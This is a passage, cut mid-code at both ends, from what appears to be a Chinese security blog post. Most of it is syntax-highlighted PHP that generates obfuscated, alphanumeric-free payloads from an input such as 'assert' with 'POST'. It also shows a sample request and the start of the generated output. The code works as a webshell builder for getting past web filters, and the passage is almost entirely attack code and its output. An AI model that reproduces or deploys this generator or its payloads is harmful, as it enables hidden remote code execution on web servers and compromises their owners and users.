style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">i</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat1</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__=</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">___;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat2</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_.=</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    while</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">i</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strlen</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">str1</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">i</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC1</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">base_convert</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">bin2hex</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">A</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">16</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">i</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat3</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str_repeat</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">++</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC1</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">            echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat3</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">else</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">str2</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">i</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">str1</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">==</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">str2</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">                $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat5</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                echo</span><span style=\"color:#999999;--shiki-dark:#666666\">  $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat5</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">else</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">                $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat6</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat1</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str_repeat</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">++</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC1</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat6</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">i</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> POC2</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">i</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">$____ = \"_\";$__=$___;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat1</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__=</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">___;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat2</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">____.=</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    while</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">i</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strlen</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">str1</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">i</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC1</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">base_convert</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">bin2hex</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">str1</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">16</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#998418;--shiki-dark:#B8A965\">base_convert</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">bin2hex</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">A</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">16</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">i</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat3</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str_repeat</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">++</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC1</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">            echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat3</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">else</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">str2</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">i</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">str1</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">==</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">str2</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">                $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat5</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat5</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">else</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">                $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat6</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat1</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str_repeat</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">++</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC1</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat6</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">i</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">!</span><span style=\"color:#998418;--shiki-dark:#B8A965\">empty</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat7</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_=[].'';</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">___=</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_[</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__];</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__=</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">___;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_=</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">___;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">POC_pat7</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">    POC</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">!</span><span style=\"color:#998418;--shiki-dark:#B8A965\">empty</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd2</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">    POC2</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd2</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p>传入：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?cmd=assert&#x26;post=POST</span></span></code></pre>\n<p>结果为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">''</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span 